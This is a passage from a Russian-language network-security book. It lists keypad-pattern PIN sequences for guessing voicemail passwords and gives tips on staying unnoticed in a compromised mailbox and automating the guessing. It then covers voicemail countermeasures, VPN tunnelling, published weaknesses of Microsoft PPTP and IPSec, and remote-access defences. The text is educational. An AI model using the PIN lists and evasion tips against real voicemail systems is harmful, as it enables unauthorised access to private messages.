Последовательности повторяющихся символов
335577 115599
 
775533 995511
Цифры, образующие букву U
Прямая буква U 
Перевернутая буква U 
Буква U "на правом боку"
Буква U "на левом боку"
 
1478963 
7412369 
3216789 
1236987
Цифры, образующие углы
Нижний левый угол
 Нижний правый угол 
Верхний левый угол
 Верхний правый угол

14789
 78963 
32147 
12369
Цифры, образующие букву O с разными начальными позициями обхода
147896321
 47893214 
78932147 
896321478
 
 963214789 
632147896
 321478963 
214789632
Цифры, образующие букву X с разными начальными позициями обхода
159357 
357159 
159753
 
  753159 
951357 
357951
Цифры, образующие символ + с разными начальными позициями обхода
258456 
258654 
456258 
456852
 
 654852 
654258 
852456 
852654
Цифры, образующие букву Z с разными начальными позициями обхода
1235789 
3215978
 
 9875321 
1895123
Поочередное нажатие клавиш из верхнего и нижнего ряда
172839 
391728 
281739 
718293 
937182 
827193
 
 283917 
392817 
173928 
829371 
938271 
719382
Поочередное нажатие клавиш из левого и правого ряда
134679 
791346 
649731
 
 467913 
316497 
973164
Взломав почтовый ящик, постарайтесь ничего в нем не нарушить. При попытке изменить пароль владелец ящика может получить уведомление. Очень немногие компании используют политику периодической смены паролей голосовой почты, а значит, существующие пароли меняются очень редко. Напомним, что за прослушивание сообщений, предназначенных для других адресатов, можно угодить в тюрьму. Поэтому авторы не советуют заниматься подобными вещами. Здесь лишь излагаются технические приемы, которые можно применять для взлома систем голосовой почты.
И наконец, этот способ подбора паролей можно автоматизировать. Если "захватывать" аналоговый голосовой сигнал с помощью некоторого цифрового преобразователя сигналов или научиться записывать ответы системы, то можно прослушать результаты работы сценария в автономном режиме и не присутствовать при его реализации.

Контрмеры против взлома систем голосовой почты



Для защиты системы голосовой почты нужно принять строгие меры безопасности. Например, включите режим блокировки соединений после заданного числа неудачных попыток. Тогда взломщик не сможет за один сеанс проверить более пяти или семи паролей.

Хакинг виртуальных частных сетей



Телефонные сети являются достаточно надежными и разветвленными, поэтому удаленные соединения еще долго не выйдут из обращения. Тем не менее, им на смену уже приходят новые механизмы удаленного доступа — виртуальные частные сети  VPN (Virtual Private Network).
Понятие виртуальной частной сети выходит за рамки отдельной технологии ил;; протокола, однако практически такие сети обеспечивают передачу (туннелирование) частных данных через Internet с использованием дополнительного шифрования. Основными преимуществами сетей VPN являются экономичность и удобство. При использовании существующих каналов связи Internet для создания удаленного офиса, общения с удаленными пользователями и даже удаленными партнерами, сложность сетевой инфраструктуры резко снижается.
Виртуальную частную сеть можно организовать разными способами, начиная от использования защищенного протокола SSH, созданного в рамках модели открытого кода (Open Source Software) и заканчивая такими "собственническими" методами, как FWZ Encapsulation от компании CheckPoint Software (который будет описан ниже). Для организации VPN чаще всего применяется два следующих стандарта: протоколы IPSec (IP Security) и L2TP (Layer 2 Tunneling Protocol), пришедшие на смену более ранним версиям протоколов РРТР (Point-to-Point Tunneling Protocol) и L2F (Layer 2 Forwarding). Техническое описание этих достаточно сложных технологии не является задачей этой книги. Интересующиеся читатели могут обратиться за дополнительной информацией по адресу http: //www. letf .org.
Термин туннелирование (tunneling) подразумевает инкапсуляцию одной (возможно зашифрованной) дейтаграммы в другой, например IP в IP (IPSec) или РРР в OKh (РРТР) Принцип туннелирования проиллюстрирован на рис. 9.7, где изображена виртуальная частная сеть между точками А и В (которые могут представлять собой как отдельные узлы так и целые сети). В передает пакет А (по адресу назначения "А ) через шлюз GW2 (Gateway 2), который может быть программно реализован в В. Шлюз GW2 выполняет инкапсуляцию этого пакета в другой и направляет вновь сформированный пакет шлюзу GW1. Шлюз GW1 удаляет временный заголовок и отправляет исходный пакет в место назначения А. При передаче через Internet исходный пакет может быть дополнительно зашифрован (пунктирная линия на рисунке).
Технологии виртуальных частных сетей за последние несколько лет прошли хорошую практическую проверку и надежно утвердились в архитектурах открытых и частных сетей Многие провайдеры в настоящее время предоставляют услуги по организации виртуальных частных сетей для тех пользователей, которые не хотят создавать их сами. Вполне возможно, что в скором времени виртуальные частные сети полностью вытеснят обычные телефонные соединения в области удаленных коммуникаций. Однако такая популярность технологии VPN обращает на себя все более пристальное внимание хакеров, жаждущих новой добычи в изменяющихся условиях. Как виртуальные частные сети смогут противостоять такой угрозе? Рассмотрим несколько примеров.



Рис. 9.7. Туннелирование одного трафика в другом — основной принцип работы виртуальных частных сетей

Взлом протокола РРТР, реализованного компанией Microsoft



Анализ протокола РРТР в реализации компании Microsoft был выполнен 1 июня 1998 года известным криптоаналитиком Брюсом Шнеером (Bruce Schneier) и знаменитым хакером Питером Маджем (Peter Mudge) (http://www.counterpane.com/pptp. html). Технический обзор результатов этого анализа, представленный Алефом Ваном (Aleph One) для журнала Phrack Magazine. В своем обзоре Алеф Ван вскрыл новые бреши в защите протокола РРТР, в том числе возможности обмана РРТР-сервера с целью получения данных аутентификации. Информацию об устранении недостатков в реализации протокола РРТР от компании Microsoft можно найти по адресу http://www.counterpane.com/ pptpv2-paper.html.
Хотя указанная выше статья касается лишь реализации протокола РРТР компанией Microsoft, из нее можно извлечь полезные уроки относительно виртуальных частных сетей в целом. Поскольку технология виртуальных частных сетей призвана обеспечить дополнительную защиту информации, ее пользователи не подвергают никаким сомнениям возможности этой защиты. Поэтому статья Шнеера и Маджа должна послужить тревожным сигналом для таких беспечных пользователей. Рассмотрим некоторые вопросы, затронутые в этой статье.
Приступая к чтению статьи Шнеера и Маджа, необходимо принимать во внимание сделанные ими допущения и имеющуюся среду для тестирования. Они изучали вопросы взаимодействия клиент/сервер на основе протокола РРТР, а не используемую шлюзами архитектуру сервер/сервер. Клиент, согласно их предположениям, подключался непосредственно к Internet, минуя удаленное соединение. Более того, некоторые из предлагаемых ими атак основываются на возможности беспрепятственного прослушивания сеанса РРТР. И хотя ни одно из сделанных предположений принципиально не влияет на полученные заключения, необходимо понимать, что требование свободного прослушивания сеансов таких коммуникаций само по себе является достаточно жестким и обеспечивает достаточную защиту соединения.
Основные выводы статьи сводятся к следующему.

  •  Протокол безопасной аутентификации MS-CHAP компании Microsoft основывается на устаревших криптографических функциях (недостатки хэш-кодов LanManager и соответствующие программы взлома описаны в главе 5).
  •  Ключи сеансов, применяемые для шифрования передаваемых по сети данных, основываются на паролях пользователей, следовательно, практическая длина ключей снижается до 40 и 128 битов.
  •  Выбранный алгоритм шифрования данных сеанса (симметрический алгоритм RC4) значительно ослабляется за счет повторного применения ключей сеанса в направлениях отправителя и получателя, создавая опасность реализации стандартной криптографической атаки.
  •  Канал управления (TCP-порт 1723) для управляющих соединений не использует аутентификацию и абсолютно не защищен от атак, направленных на генерацию события DoS.
  •  Кодируются только сами данные, при этом злоумышленники могут свободно извлекать информацию из служебного трафика, передаваемого по каналу управления
  •  В статье делается предположение о том, что клиентные подключения к сети,через РРТР-серверы могут служить в качестве потайных входов в эти сети

Устранение недостатков протокол а РРТР



Означает ли все это, что над технологией виртуальных частных сетей разверзлись небеса? Абсолютно нет. Повторим еще раз, что все перечисленные недостатки касаются лишь конкретной реализации протокола компании Microsoft. Все они были устранены в сервисном пакете Service Pack 4 для серверов и клиентов. Более подробная информация об устраненных недостатках содержится в бюллетене Microsoft Security Bulletin MS98-012. Кроме того, в реализации для Windows 2000 протокол РРТР был существенно доработан. Теперь существует возможность использования протокола L2TP, основанного на IPSec. Для совместимости с новыми средствами обеспечения безопасности со стороны серверов РРТР-клиенты, работающие под управлением Win 9x, необходимо модернизировать с помощью Dial-Up Networking версии 1.3. Компания Microsoft подготовила подробный документ, касающийся протокола РРТР и защиты виртуальных частных сетей, который можно найти по адресу  http://www.microsoft.com/ntserver/zipdocs/vpnsecur.exe).

В ответ на предпринятые компанией Microsoft действия Шнеер и Мадж опубликовали новую статью, в которой одобрили результаты устранения большинства из описанных ранее недостатков. Однако авторы замечают, что протокол MS РРТР по-прежнему основывается на пользовательских паролях в целях обеспечения разнообразия ключей.

Однако наиболее важный вывод из статьи Шнеера и Маджа читается между строк: существуют достаточно способные люди, которые хотят и могут испытать на прочность и взломать виртуальные частные сети, несмотря на все заявления об абсолютной защищенности последних. Кроме того, возможности реатазации стандартных атак против операционной системы, под управлением которой работает виртуальная частная сеть (например, проблема хэш-кодов LanMan), а также просто плохие проектные решения (неавторизованные каналы управления или повторное использование ключей сеансов) могут свести на нет все остальные преимущества этой безопасной, на первый взгляд, системы.
Статья Шнеера и Маджа содержит одно парадоксальное утверждение: на фоне жесткой критики реализации протокола РРТР компании Microsoft, авторы выражают оптимистичное мнение, заключающееся в том, что протокол IPSec станет основой технологии VPN благодаря открытости и прозрачности процесса его разработки. Однако описание протокола РРТР и даже его расширенной реализации компании Microsoft тоже имеется в Internet. Так что же выгодно отличает протокол IPSec? Ничего. Стоило бы с таким же пристрастием проанализировать и протокол IPSec. Именно это и сделал Брюс Шнеер (Bruce Schneier).


7.gif

Изображение: 

3. Результаты анализа протокола IPSec



Результаты анализа протокола IPSec


Многие исследователи отмечают закрытость стандарта IPSec, встроенного в Windows 2000 компанией Microsoft. Однако такая закрытость имеет и свои преимущества. Поскольку никто толком не знает принципов работы протокола IPSec, то неизвестны и способы его взлома (устройства, работающие на базе протокола IPSec можно обнаружить путем прослушивания UDP-порта 500). Однако, как станет ясно из следующего раздела, завеса таинственности — не лучший фундамент для создания протокола безопасности.

Результаты анализа, проведенного Шнеером (Schneier) и Фергюссоном (Ferguson)



После покорения протокола РРТР Брюс Шнеер и его коллега Нельс Фергюссон (Niels Ferguson) из Counterpane Internet Security сконцентрировали свое внимание на протоколе IPSec и описали результаты своего анализа в специальной статье. Основной лейтмотив статьи Брюс Шнеера и Нельса Фергюссона сводится к тому, что и сам протокол IPSec, и соответствующие документы, описывающие его стандарт, потрясающе сложны. Это мнение человека, разработавшего алгоритм шифрования, претендующий на утверждение в качестве государственного стандарта США — AES (Advanced Encryption Algorithm).
В течение нескольких лет утверждения этих документов никто не опроверг. И хотя мы не советуем знакомиться с этой статьей читателям, которым неизвестен протокол IPSec, осведомленные специалисты получат от нее удовольствие. Вот несколько классических "перлов" и "бесценных" рекомендаций из этой статьи.

  •  "Протоколы шифрования не должны разрабатываться группами специалистов."
  •  "Сложность — главный враг безопасности."
  •  "Единственный надежный способ проверки безопасности системы — ее тестирование." (Главный лейтмотив этой книги.)
  •  "Избегайте режима транспортировки и использования протокола АН, используйте инкапсуляцию на базе протокола ESP."

Брюс Шнеер и Нельс Фергюссон завершают свою статью признанием полной капитуляции: "По нашему мнению, протокол IPSec слишком сложен, чтобы быть безопасным. Однако на сегодняшний день лучшего средства защиты не существует." Конечно же, пользователи протокола IPSec должны полагаться на авторов конкретной реализации этого стандарта. Каждой конкретной реализации могут быть присущи свои собственные достоинства и недостатки, которые не останутся незамеченными сообществом хакеров.

Точка зрения Стивена М. Белловина (Steven M. Bellovin)



Наблюдая за дискуссиями типа Cryptographic Challenges  или изучая процедуры взлома RC5-64 , большинство читателей не отдают себе отчет в том, что обычно речь идет о получении взломщиками фрагментов незашифрованного текста. Однако захват передаваемой зашифрованной информации существенно отличается от взлома статических файлов паролей, поскольку поток зашифрованных данных не имеет четких границ, а значит, очень сложно определить начало и конец сеанса связи. Хакеру приходится угадывать, успешно расшифровывая и сопоставляя различные фрагменты разговора, не будучи при этом точно уверенным в правильном выборе исходной точки. Признанный титан мысли в области безопасности Internet, Стивен М. Белловин (Steven М. Bellovin) из лаборатории AT&T Labs Research опубликовал статью под названием Криптоанализ обычного текста с помощью протоколов IPSec ("Probable Plaintext Cryptanalysis of the IP Security Protocols"), в которой отмечает наличие известных фрагментов обычного текста в трафике IPSec — поля данных заголовка TCP/IP. И хотя это еще не свидетельствует о бреши в протоколе IPSec, этот факт дает пищу для размышления специалистам по взлому зашифрованных коммуникаций. 


4. Резюме



Резюме


Теперь многие читатели могут подвергнуть сомнению надежность общей концепции систем удаленного доступа, основанных как на технологии виртуальных частных сетей, так и на использовании старых добрых телефонных линий. И это правильно. Расширение пределов организаций до размеров тысяч (или миллионов) по определению надежных конечных пользователей — чрезвычайно рискованное дело, и авторы это доказали. Они предлагают исходить из предположения о том, что удаленные пользователи работают в наихудших с точки зрения безопасности условиях (обычно это достаточно близко к действительности). Вот некоторые советы по обеспечению безопасности удаленного доступа.

  •  Политика назначения паролей, оправдывающая зарплату администратора по вопросам безопасности, приобретает еще более важное значение, если речь идет о выделении паролей для удаленного доступа к внутренним сетям. Удаленные пользователи должны использовать сложные пароли, надежность которых необходимо периодически контролировать. Рассмотрите возможность реализации механизма двухуровневой аутентификации на основе интеллектуальных плат или аппаратных ключей. Выясните у производителей, совместимы ли предлагаемые ими продукты с текущей инфраструктурой системы удаленного доступа. Многие компании предлагают простые надстройки, позволяющие легко реализовать схему аутентификации на основе аппаратных ключей для популярных серверов удаленного доступа типа Shiva LANRover. Таким образом, достичь требуемого уровня безопасности станет значительно легче.
  •  Обеспечивая безопасное соединение с Internet, не упускайте из виду обычные удаленные соединения. Разработайте политику контроля удаленных соединений внутри организации и регулярно проверяйте соблюдение принятых норм с использованием программ автопрозвона.
  •  Найдите и запретите несанкционированное использование программного обеспечения удаленного доступа во всей организации (более подробная информация об этом содержится в главе 13).
  •  Помните, что через телефонные линии хакеры могут получить доступ не только к модемам организации. Под их "обстрелом" могут оказаться офисные телефонные станции, факс-серверы, системы голосовой почты.
  •  Научите обслуживающий персонал и конечных пользователей предельно внимательному обращению с информацией об учетных записях для удаленного доступа, чтобы предотвратить возможность угрозы утечки информации через каналы социальной инженерии. Используйте дополнительные формы идентификации для получения информации по вопросам удаленного доступа через доску объявлений, например, введите систему персональных номеров.
  •  При всех своих достоинствах виртуальные частные сети могут подвергаться таким же атакам, как и другие "защищенные" технологии. Не верьте на слово уверениям разработчиков по поводу абсолютной защищенности VPN (вспомните статью Шнеера и Маджа, посвященную протоколу РРТР), разработайте строгую политику их использования и периодически контролируйте ее выполнение как и для удаленных соединений через обычные телефонные линии.